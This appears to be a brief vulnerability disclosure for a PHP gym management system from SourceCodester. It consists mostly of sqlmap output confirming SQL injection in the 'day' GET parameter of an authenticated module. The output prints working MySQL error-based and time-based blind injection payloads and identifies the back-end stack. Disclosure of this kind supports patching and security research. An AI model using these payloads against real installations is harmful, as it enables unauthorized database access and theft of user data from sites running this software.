After logging in to the background The injection point is in DAY module
GET parameter 'day' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 1138 HTTP(s) requests:
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Parameter: day (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: day=5' AND (SELECT 4229 FROM(SELECT COUNT(*),CONCAT(0x7171767171,(SELECT (ELT(4229=4229,1))),0x716b787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qlux
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: day=5' AND (SELECT 2288 FROM (SELECT(SLEEP(5)))nWwM)-- RfYv
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[12:24:46] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
https://www.sourcecodester.com/php/15515/gym-management-system-project-php.html